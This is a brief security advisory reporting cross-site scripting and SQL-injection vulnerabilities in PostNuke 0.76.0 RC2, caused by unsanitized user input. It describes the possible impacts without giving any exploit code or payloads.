Discussion
PostNuke Multiple Input Validation Vulnerabilities
PostNuke is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection vulnerabilities, because the application fails to properly sanitize user-supplied input.
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or exploit vulnerabilities in the underlying database. Other attacks are also possible.
PostNuke 0.76.0 RC2 is vulnerable; other versions may also be affected.
